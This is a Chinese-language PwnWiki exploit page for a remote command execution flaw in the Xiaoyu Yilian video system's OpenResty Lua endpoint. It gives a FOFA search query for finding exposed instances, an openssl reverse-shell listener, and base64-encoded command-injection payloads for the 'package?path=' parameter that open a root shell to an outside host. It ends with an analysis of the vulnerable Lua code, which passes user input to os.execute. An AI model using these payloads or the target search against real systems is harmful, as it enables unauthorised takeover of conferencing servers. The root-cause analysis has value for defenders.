小魚易連視頻系統-Nginx LUA腳本遠程命令執行漏洞
From PwnWiki
FOFA
title="云视讯管理平台"
漏洞利用
找到頁面了之後尋找該該系統的OpenReaty頁面,一般都在其他端口上。
然後本地進行openssl監聽:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes openssl s_server -quiet -key key.pem -cert cert.pem -port 443 mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect <IP>:<PORT> > /tmp/s; rm /tmp/s
構造“package?path=”路徑下命令執行語句,將上面反彈shell命令進行base64加密。
1、請求目機機器上執行命令有三種方法:
curl:curl "http://ip/package?path=`echo bWtmaWZvIC90bXAvczsvYmluL2Jhc2ggLWkgPCAvdG1wL3MgMj4mMXxvcGVuc3NsIHNfY2xpZW50IC1xdWlldCAtY29ubmVjdCAxMC42Mi45Ni4yMzY6ODg4ID4gL3RtcC9zO3JtIC1mIC90bXAvcw== | base64 -d | sh`"
2、直接web上面請求:
http://ip/package?path=echo bWtmaWZvIC90bXAvczsvYmluL2Jhc2ggLWkgPCAvdG1wL3MgMj4mMXxvcGVuc3NsIHNfY2xpZW50IC1xdWlldCAtY29ubmVjdCAxMC42Mi45Ni4yMzY6ODg4ID4gL3RtcC9zO3JtIC1mIC90bXAvcw== | base64 -d | sh
3、burpsuite抓包拦截请求,同web一样。
burpsuite抓上面的请求会返回302,然后跳转404。监听服务器返回ROOT權限shell。
詳細分析
netstat -anvp | grep :80
返回結果如下:
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 16554/nginx: mas
運行在 80 端口的程序為 nginx,在宿主機中尋找 nginx 程序:
find / -name nginx
發現宿主機中沒有運行 nginx
於是嘗試進入 k8s 中的容器尋找響應服務:
docker ps | grep openresty
返回如下:
b61e91356e49 "/usr/local/openresty"
最終在 k8s 中的 openresty 容器中發現了 nginx 程序/usr/local/openresty/nginx,查詢 nginx 配置文件,發現配置文件當中引用了一行 lua 腳本:
location = /package {
proxy_set_header Host $host:$server_port;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Nginx-IP $server_addr;
limit_req zone=normalfrequ burst=20 nodelay;
content_by_lua_file lua/package.lua;
}
查詢該文件並查看文件內容 cat /usr/local/openresty/nginx/lua/package.lua
local package_absolute_path = '/var/log/logs.tar.gz'
local path = ngx.req.get_uri_args().path
if nil == path then
path = '/logs'
end
os.execute('rm -rf ' .. package_absolute_path)
os.execute('tar -zcvPf ' .. package_absolute_path .. ' ' .. path)
ngx.redirect('/log/logs.tar.gz?' .. os.time())
print('rm -rf ' .. package_absolute_path)
os.execute('rm -rf ' .. package_absolute_path)
return
在配置文件中直接對path參數傳入的字符串與rm -rf等命令進行拼接,沒有進行文件白名單等過濾,攻擊者可以通過構造特殊字符串對命令進行閉合,從而造成Linux命令注入。